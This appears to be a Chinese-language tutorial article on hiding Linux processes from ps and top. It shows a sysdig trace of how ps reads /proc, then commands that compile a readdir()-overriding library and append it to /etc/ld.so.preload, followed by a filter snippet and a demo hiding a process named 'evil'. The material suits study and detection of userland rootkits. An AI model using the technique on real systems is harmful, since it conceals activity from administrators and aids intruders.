欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Linux 进程隐藏

程序员文章站 2022-05-28 07:59:52
...

 

一. 说明

windows下驱动可通过 Hook ZwQuerySystemInformation() 达到隐藏进程的目的,那么linux上如何实现该功能呢。

 

二. 原理

Linux下有大量的进程监控命令,ps,top,htop,lsof 都可以显示资源占用情况。

sudo sysdig proc.name=ps
1489 14:39:30.258670474 1 ps (25339) > openat dirfd=-100(ENETDOWN) name=/proc flags=7233(O_LARGEFILE|O_DIRECTORY|O_NONBLOCK|O_RDONLY|O_CLOEXEC) mode=0
1495 14:39:30.258687385 1 ps (25339) > getdents fd=5(<d>/proc)
1496 14:39:30.258777031 1 ps (25339) < getdents res=2660
3709 14:39:30.264220995 1 ps (25339) > open
3710 14:39:30.264223824 1 ps (25339) < open fd=6(<f>/proc/25329/stat) name=/proc/25329/stat flags=1(O_RDONLY) mode=0
3711 14:39:30.264224584 1 ps (25339) > read fd=6(<f>/proc/25329/stat) size=1024
3712 14:39:30.264230817 1 ps (25339) < read res=272 data=25329 (evil) R 25183 25329 25183 34818 25329 4218880 152 0 0 0 9701 0 0 0 20 0 1
3713 14:39:30.264231540 1 ps (25339) > close fd=6(<f>/proc/25329/stat)
3714 14:39:30.264231906 1 ps (25339) < close res=0
3715 14:39:30.264239242 1 ps (25339) > open
3716 14:39:30.264241697 1 ps (25339) < open fd=6(<f>/proc/25329/status) name=/proc/25329/status flags=1(O_RDONLY) mode=0
3717 14:39:30.264242604 1 ps (25339) > read fd=6(<f>/proc/25329/status) size=1024
3718 14:39:30.264257260 1 ps (25339) < read res=820 data=Name:.evil.State:.R (running).Tgid:.25329.Ngid:.0.Pid:.25329.PPid:.25183.TracerP
3719 14:39:30.264257904 1 ps (25339) > close fd=6(<f>/proc/25329/status)
3720 14:39:30.264258210 1 ps (25339) < close res=0
3721 14:39:30.264263180 1 ps (25339) > open
3722 14:39:30.264265864 1 ps (25339) < open fd=6(<f>/proc/25329/cmdline) name=/proc/25329/cmdline flags=1(O_RDONLY) mode=0

  

通过sysdig监控ps命令,发现ps命令通过通过调用openat()打开/proc目录,getdents()获取文件,然后遍历所有/proc/pid/stat,status,cmdline 文件来获取进程信息。

 

三. 实现

通过对上面ps的分析,发现只需避免工具访问/proc/PID/目录即可。

a. 修改top, ps 工具源码

b. 修改glibc 源码, readdir() 

c. 修改内核调用, getdents()

d. /etc/ld.so.preload

 

abc三种方式比较繁琐。可简单通过配置ld.so.preload文件,使动态链接器优先加载自定义库,可在不修改glibc源码情况下,改变程序行为。

自定义只需要覆盖readdir()实现,过滤指定进程目录即可。

 

gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
sudo mv libprocesshider.so /usr/local/lib/
sudo echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

  

核心代码:

/**
 * 遍历到/proc/evil目录时,略过不处理
 */
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        
strcmp(dir_name, "/proc") == 0 &&                       
get_process_name(dir->d_name, process_name) &&          
strcmp(process_name, process_to_filter) == 0) {         
    continue;                                               
}  

     

 

运行效果:

ubuntu@caiji-test-chenxuerong:~/sunl$ ./evil 
 
ubuntu@caiji-test-chenxuerong:~/sunl$ ps -ef|grep evil
ubuntu   25740 25183  0 17:40 pts/2    00:00:00 grep --color=auto evil

 

  

参考资料:

https://sysdig.com/blog/hiding-linux-processes-for-fun-and-profit/

http://fluxius.handgrep.se/2011/10/31/the-magic-of-ld_preload-for-userland-rootkits/